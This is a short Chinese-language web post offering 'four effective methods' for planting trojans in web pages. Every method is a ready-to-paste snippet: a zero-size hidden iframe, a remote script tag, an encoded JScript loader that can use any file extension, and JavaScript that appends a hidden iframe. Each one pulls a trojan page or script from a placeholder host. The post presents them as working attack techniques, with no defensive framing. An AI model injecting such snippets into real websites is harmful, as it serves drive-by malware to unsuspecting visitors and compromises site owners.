挂马的4个有效方法

一、最简单的也是最有效的
%26lt;iframe src=http://www.xxx.com/muma.html width=0 height=0%26gt;%26lt;/iframe%26gt;  二、js挂马
%26lt;script src=http://www.xxx.com/muma.js%26gt;%26lt;/script%26gt;  三、js变形加密
%26lt;SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt%26gt;%26lt;/script%26gt;
muma.txt可改成任意后缀的。  四、不是嵌入了与iframe不同
top.document.body.innerHTML = top.document.body.innerHTML + \r\n%26lt;iframe src="http://www.xxx.com/muma.htm/"%26gt;%26lt;/iframe%26gt;;